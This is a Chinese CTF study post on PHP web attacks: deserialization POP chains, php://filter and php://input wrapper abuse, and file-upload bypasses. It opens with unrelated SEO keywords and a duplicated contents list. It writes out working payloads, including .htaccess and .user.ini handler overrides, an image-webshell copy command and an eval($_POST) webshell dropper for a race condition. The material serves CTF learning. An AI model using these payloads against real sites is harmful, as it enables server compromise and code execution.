我要自学网网站建设,长春火车站到吉大二院,企业中标信息查询网,网站销售怎么做的目录 1、php反序列化之pop链构造
2、常见php伪协议的使用
#xff08;1#xff09;php://filter
#xff08;2#xff09;php://input
3、文件上传常规操作
(1) 前端绕过
(2) 修改文件类型
(3) 配合.user.ini 或.htaccess解析
(4) 爆破可解析后缀
(5) 针对Windows…目录 1、php反序列化之pop链构造
2、常见php伪协议的使用
1php://filter
2php://input
3、文件上传常规操作
(1) 前端绕过
(2) 修改文件类型
(3) 配合.user.ini 或.htaccess解析
(4) 爆破可解析后缀
(5) 针对Windows系统特性的绕过
(6) 文件包含结合图片马
(7) 条件竞争 1、php反序列化之pop链构造
常见魔术方法的触发 __construct() //创建类对象时调用 __destruct() //对象被销毁时触发 __call() //在对象中调用不可访问的方法时触发 __callStatic() //在静态方式中调用不可访问的方法时触发 __get() //调用类中不存在变量时触发找有连续箭头的 this-a-b __set() //给一个未定义的属性赋值时触发 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __sleep() //使用serialize()时触发 __wakeup() //执行unserialize()时触发 __toString() //当对象被当做字符串时自动调用找echo $this-a这种、strtolower()等
__invoke() //对象被当做函数进行调用时触发找有括号的类似$a()这种 __set_state() //使用var_export()时触发 __clone() //对象复制完成时调用 __autoload() //实例化一个未定义的类时触发 __debugInfo() //使用var_dump时触发典型例题[NISACTF 2022]babyserialize
NSSCTF 靶场地址NSSCTF | 在线CTF平台
详细解题过程参考我之前的博客https://myon6.blog.csdn.net/article/details/131565599?spm1001.2014.3001.5502 2、常见php伪协议的使用
文件包含
常把可重复使用的函数写入到单个文件中在使用该函数时直接调用此文件而无需再次编写函数这一过程叫做包含。有时候由于网站功能需求会让前端用户选择要包含的文件而开发人员又没有对要包含的文件进行安全考虑就导致攻击者可以通过修改文件的位置来让后台执行任意文件从而导致文件包含漏洞。
文件包含函数 1、include
2、require
3、include_once
4、require_once
5、highlight_file
6、show_source
7、flie
8、readfile
9、file_get_contents
10、file_put_contents
11、fopen存在文件包含时就应该想到 php 伪协议的利用
常用的 php 伪协议
1php://filter
用于读取源码
可以获取指定文件源码当它与包含函数结合时php://filter 流会被当作 php 文件执行所以我们一般对其进行编码让其不执行从而导致任意文件读取。
convert.iconv.* 的用法 convert.iconv.input-encoding.output-encoding 或者 convert.iconv.input-encoding/output-encodinginput-encoding 和 output-encoding 就是编码方式有 UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*常用 payload 最常见的编码方式
?filephp://filter/readconvert.base64-encode/resourceflag.php替换编码方式绕过的例子
?filephp://filter//convert.iconv.SJIS*.UCS-4*/resourceflag.php
?filephp://filter/convert.iconv.utf8.utf16/resourceflag.php 2php://input
用于执行 PHP 代码
可以访问请求的原始数据的只读流将post请求的数据当作 php 代码执行当传入的参数作为文件名打开时可以将参数设为php://input同时 post 写入想要执行的 php 代码php 执行时会将 post 内容当作文件内容从而导致任意代码执行。 例如
http://127.0.0.1/cmd.php?cmdphp://input
POST数据?php phpinfo()? 典型例题攻防世界的 fileclude 和 file_include
攻防世界靶场地址https://adworld.xctf.org.cn/
详细解题过程可以参考我之前的博客
https://myon6.blog.csdn.net/article/details/130188333
https://myon6.blog.csdn.net/article/details/130176864 3、文件上传常规操作
(1) 前端绕过
使用 BurpSuite 抓包改后缀即可
(2) 修改文件类型
将 Content-Type 改为 image/jpeg
(3) 配合.user.ini 或.htaccess解析
这两个配置文件都可以使我们上传的图像类文件被当作php文件解析
关于这两个文件的基本内容
.htaccess
FilesMatch .jpgSetHandler application/x-httpd-php
/FilesMatch
.user.ini
auto_prepend_filemy.jpg
等号后面的 my.jpg 就是你要上传的 jpg 类型的一句话木马的文件名
(4) 爆破可解析后缀
使用burpsuite爆破可能被解析的后缀
比如
php2、php3、php4、php5、phps、pht、phtm、phtml、phpt、shtml 、pwml等等
也可以结合大小写绕过
(5) 针对Windows系统特性的绕过
空格绕过、点绕过、::$DATA绕过
原理Windows系统对于文件的重命名会自动把空格、点、::$DATA 去掉
因此我们可以在文件后缀添加空格、点、::$DATA 进行绕过是在 burpsuite 抓包后修改
(6) 文件包含结合图片马
文件包含漏洞是指未对文件进行严格过滤在代码中引入其他文件作为php文件执行。
图片马生成可以使用copy命令
copy 1.jpg/b shell.php 2.jpg
生成的2.jpg就是一个图片马
(7) 条件竞争
条件竞争原理当我们成功上传了php文件服务端会在短时间内将其删除我们需要抢在它删除之前访问文件并生成一句话木马文件所以访问包的线程需要大于上传包的线程。
上传的大致内容为
?php fputs(fopen(shell.php, w), ?php eval($_POST[shell]); ?); ?
需要结合 burpsuite 设置上传包和访问包的线程数
详细解释参考我之前的博客https://myon6.blog.csdn.net/article/details/133562672